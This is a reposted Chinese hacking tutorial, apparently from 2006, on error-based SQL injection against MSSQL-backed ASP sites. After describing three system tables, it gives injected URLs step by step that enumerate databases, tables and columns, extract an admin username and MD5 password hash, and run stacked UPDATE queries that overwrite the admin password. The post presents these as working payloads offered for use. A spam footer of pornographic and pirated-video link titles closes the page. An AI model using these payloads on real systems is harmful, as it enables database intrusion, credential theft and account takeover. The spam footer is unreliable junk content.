<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    隨筆-2  評論-16  文章-12  trackbacks-0
    一、分析MSSQL三個關鍵系統表.
    sysdatabases

    MSSQL中對sysdatabases系統表 的說明:
    Microsoft SQL Server 上的每個數據庫在表中占一行。最初安裝 SQL Server 時,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 數據庫的項。該表只存儲在 master 數據庫中。

    這個表保存在master數據庫中,這個表中保存的是什么信息呢?這個非常重要。他是
    保存了,所有的庫名,以及庫的ID,和一些相關信息。
    這里我把對于我們有用的字段名稱和相關說明給大家列出來.看好咯!

    name dbid
    //表示庫的名字. //表示庫的ID.

    dbid從1到5是系統的。分別是:master、model、msdb、mssqlweb、tempdb 這五個庫.

    我們利用SQL語句:select * from master.dbo.sysdatabases 就可以查詢出所有的庫名.


    sysobjects

    MSSQL中對sysobjects系統表的說明:
    在數據庫內創建的每個對象(約束、默認值、日志、規則、存儲過程等)在表中占一行。只有在 tempdb 內,每個臨時對象才在該表中占一行。

    這個是列出數據庫對象的系統表。當然數據庫表名也在里面的.
    這里我就為大家列出一些對我們有用的字段名稱和相關說明.
    name id xtype uid
    對象名. 對象ID 對象類型 所有者對象的用戶ID。

    對象類型(xtype)。可以是下列對象類型中的一種:
    C = CHECK 約束
    D = 默認值或 DEFAULT 約束
    F = FOREIGN KEY 約束
    L = 日志
    FN = 標量函數
    IF = 內嵌表函數
    P = 存儲過程
    PK = PRIMARY KEY 約束(類型是 K)
    RF = 復制篩選存儲過程
    S = 系統表
    TF = 表函數
    TR = 觸發器
    U = 用戶表
    UQ = UNIQUE 約束(類型是 K)
    V = 視圖
    X = 擴展存儲過程

    當然我們這里只用得到xtype='U'的值。當等于U的時候,對象名就是表名,對象ID就是表的ID值.

    我們利用SQL語句: select * from ChouYFD.dbo.sysobjects where xtype='U' 這樣就可以列出庫名稱是:ChouYFD中所有的表名.

    syscolumns

    SQL中syscolumns系統表的說明:
    每個表和視圖中的每列在表中占一行,存儲過程中的每個參數在表中也占一行。該表位于每個數據庫中。

    這個就是列出一個表中所有的字段列表的系統表。
    這里我就為大家列出一些對我們有用的字段名稱和相關說明:
    name id colid
    //字段名稱 //表ID號. 字段ID號.

    其中的 ID 是 剛上我們用sysobjects得到的表的ID號.
    我們利用SQL語句: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD這個庫中,表的ID是123456789中的所有字段列表.
    YES SIR 明白!GO GO GO !!!

    好了,簡單的介紹了一下這個用法.大家如果有不了解的,請查看SQL相關說明.

    二、靈活利用系統表
    同志們,玩過CS游戲的舉手,呵呵,都玩過啊。好!我們今天也要來爆一下"頭".
    GO GO GO !!!
    不過我們現在爆的是庫名,表名,字段名,我們用不著去猜庫名,表名,字段名.
    說一下怎么爆出相關的庫名,表名,字段名.
    當兩個類型值不一樣的時候,將他們做比較,SQL系統會提示出錯。并且會顯示出類型的值. 如:’aaa’>100 這樣比較,也就是字符串和數字的比較,這個怎么比較嘛,系統當然會提示出錯啦!大家都知道只有相同類型的時候才可以進行運算.所以這里我們就來一個反方向的不相同類型比較,爆出他的值.

    下面就讓我們來測試吧!!!準備好沒有?GO!

    任務一:得到所有庫名.
    http://www.AAA.com/jump.asp?id=3400 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

    因為 dbid 的值從1到5,是系統用了。所以用戶自己建的一定是從6開始的。并且我們提交了 name>1 NAME字段是一個字符型的字段和數字比較會出錯.那我們提交看一下IE返回了什么?

    IE返回.

    Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'

    將 nvarchar 值 'Northwind' 轉換為數據類型為 int 的列時發生語法錯誤。

    /jump.asp,行33

    GOOD!!!這樣就把NAME字段的值爆露出來了: Northwind. 也就是我們得到了一個庫名.
    改變DBID的值.我們可以得出所有的庫名.當DBID等于10,11的時候,爆出了兩個論壇的庫名.分別為:
    bbs2002
    bbs

    呵呵,論壇的庫名出來啦!!!那我們就不客氣了。就找BBS這個庫吧!

    任務二:得到bbs這個庫中所有的表名.
    先來第一句:
    http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U')
    查詢的SQL語句,返回的是NAME的值然后和數字0比較,這樣就會爆露出NAME的值.
    好我們提交吧,只聽到砰的一聲!一個表名(name的值)出來了。名叫:Address.
    // 這里多說兩句話,如果你提交的時候,他說你沒有權限,就說明,這兩個庫的SQL賬
    //號的權限不一樣,那就放棄吧。你沒有資格進行下去. 老兄放棄吧!等他更新賬號權
    //的時候,我第一時間通知你!一定要相信我臭要飯的!話.

    好,再來接著爆其他的表.
    http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
    又出來一個表名,名叫:admin

    依次提交 ... and name not in('address','admin',..)) 可以查出所有的表名.

    好,現在我們得到了ADMIN這個表,大家都清楚了這個表是做什么的吧!!我們的目的就是要得到這個表中賬號字段和密碼字段的值。
    下面就是要得到這個表中的所有字段名了咧! 怎么得到字段名呢?系統表: syscolumns
    中有用字段為: name、 id、colid 其中ID是保存著表的ID。也就是說我們要得到表的ID號然后,用SELECT * from bbs.dbo.syscolumns where id=bbs表的ID 這樣才能列出BBS這個表中所有的字段. 說了半天,哎,說不清楚了。看我表演吧!

    http://www.AAA.com/jump.asp?id=3400 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
    //把ID值轉成字符型后再和一個整型值比較。我KAO。經典吧,呵呵,這也想得出來。
    又聽到砰的一聲!ID號出來了。值為:773577794
    OK.GOOD!! 進入下關吧。

    任務三:得到ADMIN這個表中的所有字段列表:
    http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794)
    又是把NAME和數字比較.

    IE 返回:adduser 呵呵,來來來。
    http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794 and name not in('adduser'))
    又返回一個字段名:flag
    http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794 and name not in('adduser','flag'))

    好當提交到:
    http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns
    where id=773577794 and name not in('adduser','flag','id','lastlogin','lastloginip','password','username'))

    IE返回:BOF 或 EOF 中有一個是"真",或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
    說明,我們已經猜完了。呵呵,看到了吧。
    把BBS庫中的ADMIN表中的所有字段列出來了。
    分別如下:
    adduser,adduser,flag,id,lastlogin,lastloginip,password,username
    看了一下,很像動網的論壇。

    任務四:查詢字段值.
    來。我們看看username和password的值吧。

    http://www.AAA.com/jump.asp?id=3400 and 0<(select id from BBS.dbo.admin where username>1)
    賬號出來了:youbiao

    http://www.AAA.com/jump.asp?id=3400 and 0<(select id from BBS.dbo.admin where password>1 and username='youbiao')
    密碼又出來了:d6b2f32a47b8bcb5 我的天MD5的!不怕,呵呵~!!!

    來。改一下他的密碼:
    http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin set password='AAABBBCCCDDDEEEF' where username='youbiao';--
    呵呵,試試。成功了。我們再來給他改回來.

    http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin set password='d6b2f32a47b8bcb5' where username='youbiao';--
    又改回來咯!!!呵~!


    通過提交UPDATE語句就可以直接把密碼給他更改了。
                                                                                              轉自:作者:YTT 來源:http://www.HackBase.com
    posted on 2006-03-15 10:37 fadesea 閱讀(542) 評論(0)  編輯  收藏 所屬分類: 數據庫

    只有注冊用戶登錄后才能發表評論。


    網站導航:
     
    主站蜘蛛池模板: 免费成人午夜视频| 免费一级毛片正在播放| 久久久亚洲欧洲日产国码农村| japanese色国产在线看免费| 亚洲日韩中文在线精品第一 | 看全色黄大色大片免费久久| 亚洲综合无码无在线观看| 免费毛片a在线观看67194| 亚洲国产亚洲片在线观看播放| 91免费精品国自产拍在线不卡| 亚洲 欧洲 日韩 综合在线| a级毛片无码免费真人| 亚洲国产精品99久久久久久| 国产男女猛烈无遮挡免费视频网站 | 久久久久无码精品亚洲日韩 | 3d成人免费动漫在线观看| 亚洲黄网在线观看| 一个人免费观看在线视频www| 亚洲av永久无码精品网址| 亚洲免费在线观看| 一级毛片**不卡免费播| 亚洲伊人久久精品| 又色又污又黄无遮挡的免费视 | 国产国产人免费人成成免视频| 国产亚洲AV无码AV男人的天堂| 国产91色综合久久免费| 亚洲国产成人久久精品大牛影视| 免费在线观看污网站| 久久免费线看线看| 亚洲中文字幕日本无线码| 免费乱理伦在线播放| 无码人妻久久一区二区三区免费| 亚洲av无码久久忘忧草| 亚洲午夜爱爱香蕉片| 99re免费99re在线视频手机版| 亚洲成a人无码亚洲成www牛牛| 国产亚洲高清不卡在线观看| 99久久久精品免费观看国产 | 羞羞视频免费网站日本| 91精品国产亚洲爽啪在线影院| 免费爱爱的视频太爽了|